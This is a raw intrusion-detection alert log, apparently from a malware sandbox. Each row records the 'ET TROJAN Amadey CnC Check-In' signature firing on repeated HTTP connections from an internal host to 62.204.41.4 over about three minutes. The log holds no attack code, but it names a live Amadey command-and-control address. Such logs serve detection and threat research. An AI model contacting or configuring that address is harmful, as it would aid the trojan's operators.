192.168.2.762.204.41.450315802027700 02/07/23-23:09:48.543330	TCP	2027700	ET TROJAN Amadey CnC Check-In	50315	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449778802027700 02/07/23-23:07:23.476930	TCP	2027700	ET TROJAN Amadey CnC Check-In	49778	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449971802027700 02/07/23-23:08:15.502675	TCP	2027700	ET TROJAN Amadey CnC Check-In	49971	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450107802027700 02/07/23-23:08:53.058285	TCP	2027700	ET TROJAN Amadey CnC Check-In	50107	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450459802027700 02/07/23-23:10:25.566570	TCP	2027700	ET TROJAN Amadey CnC Check-In	50459	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450371802027700 02/07/23-23:10:02.294848	TCP	2027700	ET TROJAN Amadey CnC Check-In	50371	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449752802027700 02/07/23-23:07:15.374110	TCP	2027700	ET TROJAN Amadey CnC Check-In	49752	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450241802027700 02/07/23-23:09:30.345222	TCP	2027700	ET TROJAN Amadey CnC Check-In	50241	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449865802027700 02/07/23-23:07:46.144261	TCP	2027700	ET TROJAN Amadey CnC Check-In	49865	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450193802027700 02/07/23-23:09:16.370708	TCP	2027700	ET TROJAN Amadey CnC Check-In	50193	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449735802027700 02/07/23-23:07:11.564677	TCP	2027700	ET TROJAN Amadey CnC Check-In	49735	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449913802027700 02/07/23-23:08:00.811571	TCP	2027700	ET TROJAN Amadey CnC Check-In	49913	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450063802027700 02/07/23-23:08:41.843313	TCP	2027700	ET TROJAN Amadey CnC Check-In	50063	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450213802027700 02/07/23-23:09:21.269831	TCP	2027700	ET TROJAN Amadey CnC Check-In	50213	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450343802027700 02/07/23-23:09:55.462030	TCP	2027700	ET TROJAN Amadey CnC Check-In	50343	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450354802027700 02/07/23-23:09:58.136933	TCP	2027700	ET TROJAN Amadey CnC Check-In	50354	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449724802027700 02/07/23-23:07:08.827019	TCP	2027700	ET TROJAN Amadey CnC Check-In	49724	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449943802027700 02/07/23-23:08:08.214342	TCP	2027700	ET TROJAN Amadey CnC Check-In	49943	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450135802027700 02/07/23-23:09:00.033380	TCP	2027700	ET TROJAN Amadey CnC Check-In	50135	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449964802027700 02/07/23-23:08:13.400472	TCP	2027700	ET TROJAN Amadey CnC Check-In	49964	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450298802027700 02/07/23-23:09:44.339809	TCP	2027700	ET TROJAN Amadey CnC Check-In	50298	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450326802027700 02/07/23-23:09:51.276591	TCP	2027700	ET TROJAN Amadey CnC Check-In	50326	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449707802027700 02/07/23-23:07:04.724651	TCP	2027700	ET TROJAN Amadey CnC Check-In	49707	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449768802027700 02/07/23-23:07:20.940206	TCP	2027700	ET TROJAN Amadey CnC Check-In	49768	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449875802027700 02/07/23-23:07:48.616862	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450142802027700 02/07/23-23:09:01.792842	TCP	2027700	ET TROJAN Amadey CnC Check-In	50142	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450231802027700 02/07/23-23:09:25.697760	TCP	2027700	ET TROJAN Amadey CnC Check-In	50231	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450387802027700 02/07/23-23:10:06.125158	TCP	2027700	ET TROJAN Amadey CnC Check-In	50387	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449697802027700 02/07/23-23:07:01.357866	TCP	2027700	ET TROJAN Amadey CnC Check-In	49697	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450308802027700 02/07/23-23:09:46.817930	TCP	2027700	ET TROJAN Amadey CnC Check-In	50308	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450160802027700 02/07/23-23:09:06.194716	TCP	2027700	ET TROJAN Amadey CnC Check-In	50160	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449992802027700 02/07/23-23:08:22.643209	TCP	2027700	ET TROJAN Amadey CnC Check-In	49992	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449918802027700 02/07/23-23:08:02.062414	TCP	2027700	ET TROJAN Amadey CnC Check-In	49918	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450059802027700 02/07/23-23:08:40.814145	TCP	2027700	ET TROJAN Amadey CnC Check-In	50059	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450237802027700 02/07/23-23:09:28.175009	TCP	2027700	ET TROJAN Amadey CnC Check-In	50237	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449841802027700 02/07/23-23:07:40.291176	TCP	2027700	ET TROJAN Amadey CnC Check-In	49841	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449974802027700 02/07/23-23:08:17.631579	TCP	2027700	ET TROJAN Amadey CnC Check-In	49974	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450310802027700 02/07/23-23:09:47.315519	TCP	2027700	ET TROJAN Amadey CnC Check-In	50310	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450203802027700 02/07/23-23:09:18.814519	TCP	2027700	ET TROJAN Amadey CnC Check-In	50203	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449796802027700 02/07/23-23:07:27.783130	TCP	2027700	ET TROJAN Amadey CnC Check-In	49796	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450114802027700 02/07/23-23:08:54.813586	TCP	2027700	ET TROJAN Amadey CnC Check-In	50114	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450091802027700 02/07/23-23:08:48.773540	TCP	2027700	ET TROJAN Amadey CnC Check-In	50091	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449946802027700 02/07/23-23:08:08.944668	TCP	2027700	ET TROJAN Amadey CnC Check-In	49946	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450132802027700 02/07/23-23:08:59.313660	TCP	2027700	ET TROJAN Amadey CnC Check-In	50132	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450002802027700 02/07/23-23:08:25.080418	TCP	2027700	ET TROJAN Amadey CnC Check-In	50002	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449780802027700 02/07/23-23:07:23.953446	TCP	2027700	ET TROJAN Amadey CnC Check-In	49780	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450209802027700 02/07/23-23:09:20.298654	TCP	2027700	ET TROJAN Amadey CnC Check-In	50209	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450104802027700 02/07/23-23:08:52.249237	TCP	2027700	ET TROJAN Amadey CnC Check-In	50104	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450012802027700 02/07/23-23:08:27.539545	TCP	2027700	ET TROJAN Amadey CnC Check-In	50012	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450364802027700 02/07/23-23:10:00.578597	TCP	2027700	ET TROJAN Amadey CnC Check-In	50364	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449742802027700 02/07/23-23:07:13.217594	TCP	2027700	ET TROJAN Amadey CnC Check-In	49742	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450361802027700 02/07/23-23:09:59.837623	TCP	2027700	ET TROJAN Amadey CnC Check-In	50361	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449745802027700 02/07/23-23:07:13.690917	TCP	2027700	ET TROJAN Amadey CnC Check-In	49745	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450094802027700 02/07/23-23:08:49.510006	TCP	2027700	ET TROJAN Amadey CnC Check-In	50094	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450097802027700 02/07/23-23:08:50.388048	TCP	2027700	ET TROJAN Amadey CnC Check-In	50097	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450186802027700 02/07/23-23:09:14.607278	TCP	2027700	ET TROJAN Amadey CnC Check-In	50186	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450438802027700 02/07/23-23:10:20.467632	TCP	2027700	ET TROJAN Amadey CnC Check-In	50438	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449770802027700 02/07/23-23:07:21.455442	TCP	2027700	ET TROJAN Amadey CnC Check-In	49770	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450466802027700 02/07/23-23:10:27.272312	TCP	2027700	ET TROJAN Amadey CnC Check-In	50466	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450158802027700 02/07/23-23:09:05.696446	TCP	2027700	ET TROJAN Amadey CnC Check-In	50158	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450336802027700 02/07/23-23:09:53.715951	TCP	2027700	ET TROJAN Amadey CnC Check-In	50336	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450288802027700 02/07/23-23:09:41.886673	TCP	2027700	ET TROJAN Amadey CnC Check-In	50288	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450206802027700 02/07/23-23:09:19.556589	TCP	2027700	ET TROJAN Amadey CnC Check-In	50206	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449936802027700 02/07/23-23:08:06.480598	TCP	2027700	ET TROJAN Amadey CnC Check-In	49936	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449847802027700 02/07/23-23:07:41.745093	TCP	2027700	ET TROJAN Amadey CnC Check-In	49847	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449717802027700 02/07/23-23:07:07.153402	TCP	2027700	ET TROJAN Amadey CnC Check-In	49717	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449799802027700 02/07/23-23:07:28.505366	TCP	2027700	ET TROJAN Amadey CnC Check-In	49799	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450170802027700 02/07/23-23:09:10.682104	TCP	2027700	ET TROJAN Amadey CnC Check-In	50170	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449819802027700 02/07/23-23:07:33.315465	TCP	2027700	ET TROJAN Amadey CnC Check-In	49819	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449908802027700 02/07/23-23:07:59.582545	TCP	2027700	ET TROJAN Amadey CnC Check-In	49908	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450040802027700 02/07/23-23:08:35.106092	TCP	2027700	ET TROJAN Amadey CnC Check-In	50040	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450069802027700 02/07/23-23:08:43.290160	TCP	2027700	ET TROJAN Amadey CnC Check-In	50069	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449920802027700 02/07/23-23:08:02.536242	TCP	2027700	ET TROJAN Amadey CnC Check-In	49920	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450473802027700 02/07/23-23:10:29.015986	TCP	2027700	ET TROJAN Amadey CnC Check-In	50473	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450412802027700 02/07/23-23:10:12.220070	TCP	2027700	ET TROJAN Amadey CnC Check-In	50412	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450118802027700 02/07/23-23:08:55.823225	TCP	2027700	ET TROJAN Amadey CnC Check-In	50118	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450216802027700 02/07/23-23:09:22.010258	TCP	2027700	ET TROJAN Amadey CnC Check-In	50216	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449731802027700 02/07/23-23:07:10.568753	TCP	2027700	ET TROJAN Amadey CnC Check-In	49731	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449985802027700 02/07/23-23:08:20.913010	TCP	2027700	ET TROJAN Amadey CnC Check-In	49985	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450154802027700 02/07/23-23:09:04.744163	TCP	2027700	ET TROJAN Amadey CnC Check-In	50154	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450249802027700 02/07/23-23:09:32.275895	TCP	2027700	ET TROJAN Amadey CnC Check-In	50249	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450056802027700 02/07/23-23:08:40.088529	TCP	2027700	ET TROJAN Amadey CnC Check-In	50056	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449728802027700 02/07/23-23:07:09.767109	TCP	2027700	ET TROJAN Amadey CnC Check-In	49728	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449826802027700 02/07/23-23:07:34.986762	TCP	2027700	ET TROJAN Amadey CnC Check-In	49826	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449882802027700 02/07/23-23:07:50.365010	TCP	2027700	ET TROJAN Amadey CnC Check-In	49882	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449916802027700 02/07/23-23:08:01.554969	TCP	2027700	ET TROJAN Amadey CnC Check-In	49916	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449821802027700 02/07/23-23:07:33.782681	TCP	2027700	ET TROJAN Amadey CnC Check-In	49821	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449879802027700 02/07/23-23:07:49.589028	TCP	2027700	ET TROJAN Amadey CnC Check-In	49879	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450417802027700 02/07/23-23:10:13.425468	TCP	2027700	ET TROJAN Amadey CnC Check-In	50417	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450285802027700 02/07/23-23:09:41.160719	TCP	2027700	ET TROJAN Amadey CnC Check-In	50285	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450048802027700 02/07/23-23:08:38.164092	TCP	2027700	ET TROJAN Amadey CnC Check-In	50048	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450375802027700 02/07/23-23:10:03.233760	TCP	2027700	ET TROJAN Amadey CnC Check-In	50375	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450121802027700 02/07/23-23:08:56.541604	TCP	2027700	ET TROJAN Amadey CnC Check-In	50121	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450322802027700 02/07/23-23:09:50.288220	TCP	2027700	ET TROJAN Amadey CnC Check-In	50322	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450280802027700 02/07/23-23:09:39.926138	TCP	2027700	ET TROJAN Amadey CnC Check-In	50280	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450339802027700 02/07/23-23:09:54.482136	TCP	2027700	ET TROJAN Amadey CnC Check-In	50339	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449797802027700 02/07/23-23:07:28.024524	TCP	2027700	ET TROJAN Amadey CnC Check-In	49797	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449952802027700 02/07/23-23:08:10.427883	TCP	2027700	ET TROJAN Amadey CnC Check-In	49952	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449932802027700 02/07/23-23:08:05.505650	TCP	2027700	ET TROJAN Amadey CnC Check-In	49932	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449748802027700 02/07/23-23:07:14.403704	TCP	2027700	ET TROJAN Amadey CnC Check-In	49748	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449929802027700 02/07/23-23:08:04.773416	TCP	2027700	ET TROJAN Amadey CnC Check-In	49929	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450260802027700 02/07/23-23:09:35.014959	TCP	2027700	ET TROJAN Amadey CnC Check-In	50260	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449846802027700 02/07/23-23:07:41.490813	TCP	2027700	ET TROJAN Amadey CnC Check-In	49846	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450003802027700 02/07/23-23:08:25.325125	TCP	2027700	ET TROJAN Amadey CnC Check-In	50003	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450174802027700 02/07/23-23:09:11.713080	TCP	2027700	ET TROJAN Amadey CnC Check-In	50174	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449711802027700 02/07/23-23:07:05.695210	TCP	2027700	ET TROJAN Amadey CnC Check-In	49711	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450190802027700 02/07/23-23:09:15.591790	TCP	2027700	ET TROJAN Amadey CnC Check-In	50190	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450404802027700 02/07/23-23:10:10.231347	TCP	2027700	ET TROJAN Amadey CnC Check-In	50404	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449965802027700 02/07/23-23:08:13.650116	TCP	2027700	ET TROJAN Amadey CnC Check-In	49965	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450293802027700 02/07/23-23:09:43.101385	TCP	2027700	ET TROJAN Amadey CnC Check-In	50293	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450211802027700 02/07/23-23:09:20.794111	TCP	2027700	ET TROJAN Amadey CnC Check-In	50211	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449784802027700 02/07/23-23:07:24.915414	TCP	2027700	ET TROJAN Amadey CnC Check-In	49784	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450437802027700 02/07/23-23:10:20.219041	TCP	2027700	ET TROJAN Amadey CnC Check-In	50437	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450460802027700 02/07/23-23:10:25.826616	TCP	2027700	ET TROJAN Amadey CnC Check-In	50460	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449859802027700 02/07/23-23:07:44.659899	TCP	2027700	ET TROJAN Amadey CnC Check-In	49859	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450187802027700 02/07/23-23:09:14.862061	TCP	2027700	ET TROJAN Amadey CnC Check-In	50187	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450105802027700 02/07/23-23:08:52.555967	TCP	2027700	ET TROJAN Amadey CnC Check-In	50105	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450302802027700 02/07/23-23:09:45.325485	TCP	2027700	ET TROJAN Amadey CnC Check-In	50302	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450229802027700 02/07/23-23:09:25.211609	TCP	2027700	ET TROJAN Amadey CnC Check-In	50229	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449890802027700 02/07/23-23:07:52.300017	TCP	2027700	ET TROJAN Amadey CnC Check-In	49890	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450141802027700 02/07/23-23:09:01.548249	TCP	2027700	ET TROJAN Amadey CnC Check-In	50141	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450395802027700 02/07/23-23:10:08.061097	TCP	2027700	ET TROJAN Amadey CnC Check-In	50395	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450224802027700 02/07/23-23:09:23.949840	TCP	2027700	ET TROJAN Amadey CnC Check-In	50224	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449771802027700 02/07/23-23:07:21.708262	TCP	2027700	ET TROJAN Amadey CnC Check-In	49771	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449895802027700 02/07/23-23:07:53.534084	TCP	2027700	ET TROJAN Amadey CnC Check-In	49895	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449813802027700 02/07/23-23:07:31.831966	TCP	2027700	ET TROJAN Amadey CnC Check-In	49813	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450194802027700 02/07/23-23:09:16.621524	TCP	2027700	ET TROJAN Amadey CnC Check-In	50194	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450292802027700 02/07/23-23:09:42.847678	TCP	2027700	ET TROJAN Amadey CnC Check-In	50292	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449903802027700 02/07/23-23:07:56.006891	TCP	2027700	ET TROJAN Amadey CnC Check-In	49903	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450424802027700 02/07/23-23:10:15.140263	TCP	2027700	ET TROJAN Amadey CnC Check-In	50424	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449814802027700 02/07/23-23:07:32.080927	TCP	2027700	ET TROJAN Amadey CnC Check-In	49814	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450289802027700 02/07/23-23:09:42.121099	TCP	2027700	ET TROJAN Amadey CnC Check-In	50289	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450035802027700 02/07/23-23:08:33.151525	TCP	2027700	ET TROJAN Amadey CnC Check-In	50035	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450068802027700 02/07/23-23:08:43.057010	TCP	2027700	ET TROJAN Amadey CnC Check-In	50068	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449912802027700 02/07/23-23:08:00.559985	TCP	2027700	ET TROJAN Amadey CnC Check-In	49912	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450010802027700 02/07/23-23:08:27.035129	TCP	2027700	ET TROJAN Amadey CnC Check-In	50010	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450362802027700 02/07/23-23:10:00.086376	TCP	2027700	ET TROJAN Amadey CnC Check-In	50362	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449909802027700 02/07/23-23:07:59.832613	TCP	2027700	ET TROJAN Amadey CnC Check-In	49909	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450335802027700 02/07/23-23:09:53.466997	TCP	2027700	ET TROJAN Amadey CnC Check-In	50335	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449899802027700 02/07/23-23:07:54.525689	TCP	2027700	ET TROJAN Amadey CnC Check-In	49899	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449997802027700 02/07/23-23:08:23.882401	TCP	2027700	ET TROJAN Amadey CnC Check-In	49997	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449870802027700 02/07/23-23:07:47.398418	TCP	2027700	ET TROJAN Amadey CnC Check-In	49870	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450273802027700 02/07/23-23:09:38.220730	TCP	2027700	ET TROJAN Amadey CnC Check-In	50273	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449833802027700 02/07/23-23:07:36.871624	TCP	2027700	ET TROJAN Amadey CnC Check-In	49833	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450049802027700 02/07/23-23:08:38.401506	TCP	2027700	ET TROJAN Amadey CnC Check-In	50049	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449998802027700 02/07/23-23:08:24.116921	TCP	2027700	ET TROJAN Amadey CnC Check-In	49998	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450138802027700 02/07/23-23:09:00.761131	TCP	2027700	ET TROJAN Amadey CnC Check-In	50138	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450204802027700 02/07/23-23:09:19.062253	TCP	2027700	ET TROJAN Amadey CnC Check-In	50204	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449839802027700 02/07/23-23:07:39.819277	TCP	2027700	ET TROJAN Amadey CnC Check-In	49839	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449928802027700 02/07/23-23:08:04.507544	TCP	2027700	ET TROJAN Amadey CnC Check-In	49928	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450405802027700 02/07/23-23:10:10.475956	TCP	2027700	ET TROJAN Amadey CnC Check-In	50405	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449715802027700 02/07/23-23:07:06.670721	TCP	2027700	ET TROJAN Amadey CnC Check-In	49715	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450306802027700 02/07/23-23:09:46.316046	TCP	2027700	ET TROJAN Amadey CnC Check-In	50306	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449791802027700 02/07/23-23:07:26.598224	TCP	2027700	ET TROJAN Amadey CnC Check-In	49791	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450220802027700 02/07/23-23:09:22.982035	TCP	2027700	ET TROJAN Amadey CnC Check-In	50220	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450223802027700 02/07/23-23:09:23.700905	TCP	2027700	ET TROJAN Amadey CnC Check-In	50223	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450477802027700 02/07/23-23:10:29.999028	TCP	2027700	ET TROJAN Amadey CnC Check-In	50477	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450125802027700 02/07/23-23:08:57.600771	TCP	2027700	ET TROJAN Amadey CnC Check-In	50125	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450217802027700 02/07/23-23:09:22.244329	TCP	2027700	ET TROJAN Amadey CnC Check-In	50217	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450036802027700 02/07/23-23:08:33.388754	TCP	2027700	ET TROJAN Amadey CnC Check-In	50036	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450134802027700 02/07/23-23:08:59.789777	TCP	2027700	ET TROJAN Amadey CnC Check-In	50134	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450388802027700 02/07/23-23:10:06.372796	TCP	2027700	ET TROJAN Amadey CnC Check-In	50388	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450391802027700 02/07/23-23:10:07.091832	TCP	2027700	ET TROJAN Amadey CnC Check-In	50391	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450474802027700 02/07/23-23:10:29.268969	TCP	2027700	ET TROJAN Amadey CnC Check-In	50474	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450181802027700 02/07/23-23:09:13.403025	TCP	2027700	ET TROJAN Amadey CnC Check-In	50181	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450408802027700 02/07/23-23:10:11.262817	TCP	2027700	ET TROJAN Amadey CnC Check-In	50408	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449925802027700 02/07/23-23:08:03.782317	TCP	2027700	ET TROJAN Amadey CnC Check-In	49925	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450092802027700 02/07/23-23:08:49.011979	TCP	2027700	ET TROJAN Amadey CnC Check-In	50092	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450319802027700 02/07/23-23:09:49.495652	TCP	2027700	ET TROJAN Amadey CnC Check-In	50319	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449801802027700 02/07/23-23:07:28.990558	TCP	2027700	ET TROJAN Amadey CnC Check-In	49801	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450461802027700 02/07/23-23:10:26.066420	TCP	2027700	ET TROJAN Amadey CnC Check-In	50461	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449972802027700 02/07/23-23:08:16.388087	TCP	2027700	ET TROJAN Amadey CnC Check-In	49972	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450236802027700 02/07/23-23:09:27.474416	TCP	2027700	ET TROJAN Amadey CnC Check-In	50236	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450023802027700 02/07/23-23:08:30.249609	TCP	2027700	ET TROJAN Amadey CnC Check-In	50023	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450147802027700 02/07/23-23:09:03.026189	TCP	2027700	ET TROJAN Amadey CnC Check-In	50147	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449883802027700 02/07/23-23:07:50.617719	TCP	2027700	ET TROJAN Amadey CnC Check-In	49883	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450421802027700 02/07/23-23:10:14.406004	TCP	2027700	ET TROJAN Amadey CnC Check-In	50421	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449863802027700 02/07/23-23:07:45.653673	TCP	2027700	ET TROJAN Amadey CnC Check-In	49863	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450286802027700 02/07/23-23:09:41.402786	TCP	2027700	ET TROJAN Amadey CnC Check-In	50286	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450029802027700 02/07/23-23:08:31.679572	TCP	2027700	ET TROJAN Amadey CnC Check-In	50029	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449820802027700 02/07/23-23:07:33.547735	TCP	2027700	ET TROJAN Amadey CnC Check-In	49820	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449958802027700 02/07/23-23:08:11.883807	TCP	2027700	ET TROJAN Amadey CnC Check-In	49958	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450102802027700 02/07/23-23:08:51.747853	TCP	2027700	ET TROJAN Amadey CnC Check-In	50102	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449817802027700 02/07/23-23:07:32.798708	TCP	2027700	ET TROJAN Amadey CnC Check-In	49817	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450243802027700 02/07/23-23:09:30.844574	TCP	2027700	ET TROJAN Amadey CnC Check-In	50243	80	192.168.2.7	62.204.41.4
